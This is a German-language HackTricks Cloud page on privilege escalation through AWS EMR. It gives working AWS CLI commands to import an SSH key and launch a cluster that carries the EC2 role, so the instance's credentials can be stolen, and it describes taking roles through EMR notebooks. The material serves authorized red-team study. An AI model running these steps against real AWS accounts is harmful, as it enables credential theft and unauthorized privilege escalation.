AWS - EMR Privesc
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
EMR
Mehr Informationen über EMR in:
iam:PassRole, elasticmapreduce:RunJobFlow
Ein Angreifer mit diesen Berechtigungen kann einen neuen EMR-Cluster starten und EC2-Rollen anhängen und versuchen, dessen Zugangsdaten zu stehlen.
Beachte, dass du dafür eine im Account importierte ssh priv key kennen müsstest oder eine importieren müsstest, und in der Lage sein müsstest, Port 22 im master node zu öffnen (möglicherweise kannst du dies mit den Attributen EmrManagedMasterSecurityGroup und/oder ServiceAccessSecurityGroup innerhalb von --ec2-attributes erreichen).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
Beachte, dass eine EMR role in --service-role angegeben wird und eine ec2 role in --ec2-attributes innerhalb von InstanceProfile. Diese Technik erlaubt jedoch nur das Stehlen der EC2 role credentials (da du dich per ssh verbindest), nicht jedoch der EMR IAM Role.
Mögliche Auswirkungen: Privesc auf die angegebene EC2 service role.
elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole
Mit diesen Berechtigungen kann ein Angreifer zur AWS console gehen, ein Notebook erstellen und darauf zugreifen, um die IAM Role zu stehlen.
caution
Selbst wenn du in meinen Tests eine IAM role an die Notebook-Instanz angehängt hast, fiel mir auf, dass ich AWS managed credentials stehlen konnte und nicht die zur IAM role gehörigen creds.
Mögliche Auswirkungen: Privesc zur AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
elasticmapreduce:OpenEditorInConsole
Allein mit dieser Berechtigung kann ein Angreifer auf das Jupyter Notebook und die damit verbundene IAM role zugreifen und sie stehlen.
Die URL des Notebooks ist https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
caution
Selbst wenn du in meinen Tests eine IAM role an die Notebook-Instanz angehängt hast, fiel mir auf, dass ich AWS managed credentials stehlen konnte und nicht die zur IAM role gehörigen creds
Mögliche Auswirkungen: Privesc zur AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud